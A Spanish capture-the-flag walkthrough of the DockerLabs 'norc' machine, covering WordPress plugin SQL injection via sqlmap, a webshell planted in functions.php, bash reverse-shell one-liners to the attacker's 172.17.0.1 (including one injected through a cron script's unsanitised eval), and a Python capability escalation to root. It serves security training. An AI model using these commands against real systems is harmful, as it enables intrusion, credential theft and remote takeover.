Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos un escaneo de la dirección IP y podemos observar que tenemos 2 puertos.
Si leemos lo encontrado en el puerto 80 podemos observar que identifica un dominio norc.labs
. Agregamos este dominio en nuestra /etc/hosts
. Luego de agregarlo nos dirigimos al dominio y podemos observar que es un login donde solo debemos ingresar un password.
Antes de probar algo usaremos gobuster
para observar si identifica algo adicional, pero nos da un error.
Revisamos el enlace a donde nos redirige y observamos un URL interesante.
http://norc.labs/?password-protected=login&redirect_to=http%3A%2F%2F172.17.0.2%2F
Por ello iniciaremos burpsuite e interceptaremos la consulta.
Revisando el código observamos que tiene elementos de WordPress, así que de manera manual ingresamos wp-admin
y podemos observar el siguiente URL
http://norc.labs/ghost-login?redirect_to=http%3A%2F%2Fnorc.labs%2Fwp-admin%2F&reauth=3
Ingresamos una credencial por defecto y podemos ver que no dice que nos faltan 2 intentos, así que dejamos de probar credenciales.
Usando wappalyzer
nos indica que es Drupal
lo cual es raro.
Ya que identificamos que parece ser un Drupal como un WordPress, realizamos el escaneo con esta base. Realizamos fuzzing con un diccionario de Drupal y podemos ver que solo identifico un robots.txt
.
Si nos dirigimos a la web observamos que solo tenemos una dirección en el sitemap
, pero al abrirlo nos redirecciona al login.
Realizamos un fuzzing con el diccionario de WordPress podemos observar más resultados.
Pero no identifico ningún plugin así que buscaremos un diccionario de solo plugins y probaremos con ese. Buscando encontramos este diccionario que tiene varios plugins. https://github.com/kongsec/Wordpress-BruteForce-List/blob/main/Fuzz Ejecutamos y podemos observar varios plugins que nos pueden ser útiles.
Entre todos los que encontramos este contenía buena información.
Al dirigirnos a la dirección web
http://norc.labs/wp-content/plugins/wp-fastest-cache/readme.txt
observamos que se trata de la versión 1.2.1
.
Buscando un exploit para esta versión podemos observar que hay una POC la cual solo debemos copiar el ejemplo y de esta manera obtenemos unas credenciales.
Ejecutamos de esta manera y agregamos el parámetro --dump
Luego de unos minutos podemos observar lo siguiente.
Nos interesa la DB de wordpress
y para evitar que demore cancelamos la consulta y volvemos a ejecutar la consulta, pero agregamos el nombre de la base de datos.
Si no conociéramos cuáles son las tablas que conforman una base de datos de WordPress sería agregar el comando -D wordpress
y esperar a que liste las tablas. Pero podemos insertar la tabla wp_users
que forma parte de esta.
Para más información sobre ello visitar tablas WordPress.
Agregamos el nombre de la tabla que nos interesa wp-users
, también ingresamos --batch
para que sqlmap asuma la respuesta por defecto.
sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 -D wordpress -T wp_users --dump --batch
Esperamos unos minutos y podemos observar que obtuvimos unas credenciales.
pass:$P$BeNShJ/iBpuokTEP2/94.sLS8ejRo6.
email:admin@oledockers.norc.labs
userlogin:admin
Si desconocemos el formato, podemos llevarlo aún identificador y observar lo que nos indica.
Como el password está encriptado tratamos de romperlo usando John, pero no nos da un resultado.
Revisando la información que obtuvimos debemos notar que el email contiene un subdominio el cual agregamos a nuestro host.
oledockers.norc.labs
Luego de agregarlo nos dirigimos a la dirección desde el navegador y podemos observar un usuario y un password.
admin:wWZvgxRz3jMBQ ZN
Nos dirigimos al panel de WordPress que encontramos e ingresamos las credenciales.
Ya estamos dentro.
Como siempre hacemos cuando ingresamos WordPress probaremos agregando una webshell en el archivo functions.php
del tema twenty twenty-two
y guardamos los cambios.
Ahora para acceder a esta webshell usamos la siguiente dirección que contiene la ubicación del archivo y si agregamos el parámetro podemos ver que se ejecuta el comando id
.
http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=id
Ya que podemos ejecutar comandos estableceremos una shell. Para ello iniciaremos nuestro listener con nc
.
Deberemos establecer nuestra consulta.
bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'
Para evitar problemas con los símbolos lo URL-encodeamos.
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
Y enviamos, el URL debería ser así.
http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
Al momento de enviar en nuestro listener ya deberíamos poder ver que se estableció conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos.
script /dev/null -c bash
Luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty.
stty raw -echo; fg
reset xterm
Para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Realizamos un sudo -l
y podemos observar que no tenemos el comando sudo
, realizamos un listado de permisos SUID y podemos observar el archivo exim4
.
Pero revisando las versiones vulnerables que nos pueden servir son las menores a la versión 4.86.2
y nuestra versión es la 4.96
.
Ya que no podemos explotar este permiso SUID, listaremos capabilities y podemos observar que tenemos la de Python3.
Porque se trata de una capabilitie
también podemos ir a la página GTFOBins y buscar la capabilitie
para Python y podremos observar lo siguiente.
import os
# Cambiar el ID de usuario efectivo a 0 (root)
os.setuid(0)
# Iniciar una shell con privilegios elevados
os.system("/bin/bash")
Tratamos de ejecutar el comando, pero vemos que no podemos.
Debemos buscar un password o un ID por ello vamos a la carpeta home y observamos que hay una carpeta kvzlx
y podemos acceder dentro de ella. Listamos los archivos y observamos un archivo .cron_script.sh
que pertenece a kvzlx
Revisando el script podemos observar que decodifica un password y lo guarda en una carpeta temporal y que eval
no sanitiza el texto que lee.
Nos dirigimos a la carpeta /tmp
para observar el archivo, pero este se encuentra vacío y si vamos a la carpeta www/html
para observar el otro archivo oculto este no existe.
Empleamos ps aux
para ver si se ejecuta el script, pero no podemos ver por nuestros permisos.
Ya que no podemos usaremos pspy64
, para ello descargamos pspy64
e iniciamos un servidor con Python.
Nos dirigimos a la carpeta tmp
y descargamos el archivo.
Brindamos permisos de ejecución y lo ejecutamos.
Luego de unos segundos podemos observar que el archivo .cron_
script.sh
se ejecuta frecuentemente.
Como el script no sanitiza cuando ejecuta el comando eval
podemos abusar de este y obtener un Shell.
echo "bash -c 'bash -i >& /dev/tcp/172.17.0.1/1235 0>&1'"| base64
Arrancamos el servicio en nc
.
Esperamos unos minutos y podemos observar que se estableció conexión.
Luego de establecer conexión volvemos a realizar el tratamiento de la TTY
como hicimos al comienzo. Ya que ingresamos como kvzlx
probamos si también tenemos las mismas capabilities que en www-data
y podemos observar que sí tenemos la capabilities.
Como ya creamos el archivo en tmp
solo lo ejecutaremos.
Ejecutamos el archivo y podemos observar que ya somos root. De esta manera culminando esta máquina.